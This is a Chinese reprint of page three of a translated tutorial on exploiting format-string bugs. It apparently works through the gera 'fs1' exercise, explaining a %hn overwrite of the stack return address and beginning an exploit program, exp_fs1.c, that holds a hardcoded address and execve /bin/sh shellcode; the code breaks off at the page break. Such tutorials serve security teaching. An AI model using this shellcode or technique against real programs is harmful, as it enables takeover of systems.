WEB开发网
开发学院网络安全黑客技术 非安全编程演示之格式化字符串 阅读

非安全编程演示之格式化字符串

 2006-04-02 20:26:48 来源:WEB开发网   
核心提示: 溢出是可能的,但是并不容易,非安全编程演示之格式化字符串(3),攻击者可能采用传统的攻击流程,覆盖程序在栈上的返回地址,接下来65276字节填充shellcode地址,这个例子中真正的障碍是在栈中找出zero的地址,这里只有一个障碍---死循环(endless loop),argc[1]需


溢出是可能的,但是并不容易。攻击者可能采用传统的攻击流程,覆盖程序在栈上的
返回地址。这里只有一个障碍---死循环(endless loop)。argc[1]需要精心构造,另外有针对zero的检查,如果为NULL字节,程序将正常退出(这样就执行了shellcode)(译者注:绕过了死循环,因为zero为0,while循环结束)。这可以通过%hn的格式参数来完成。zero是两个字节长,包含了两个NULL字节的较小的数是0x10000(65536的16进制)。所以,如果argc[1]是65536bytes长,*plen指向了zero的地址的话,死循环将被绕过。argc[1]的前256个字节为垃圾(译者注:用于填充buffer),4字节为zero的地址,接下来65276字节填充shellcode地址。
这个例子中真正的障碍是在栈中找出zero的地址。这就是我们在例子中额外加一行
print出zero的地址的原因。Exploit代码如下:


/*
** exp_fs1.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>


/* May need some tweaking */
#define ZERO_ADDRESS 0xbffefeca


/* 24 bytes shellcode */
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


int main(void) {


char *env[3] = {shellcode, NULL};
char evil_buffer[65536 + 1] ;
char *p;
int ret = 0xbffffffa - strlen(shellcode) -
strlen("/home/user/gera/fs1");
int i;

上一页  1 2 3 4 5  下一页

Tags:安全 编程 演示

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接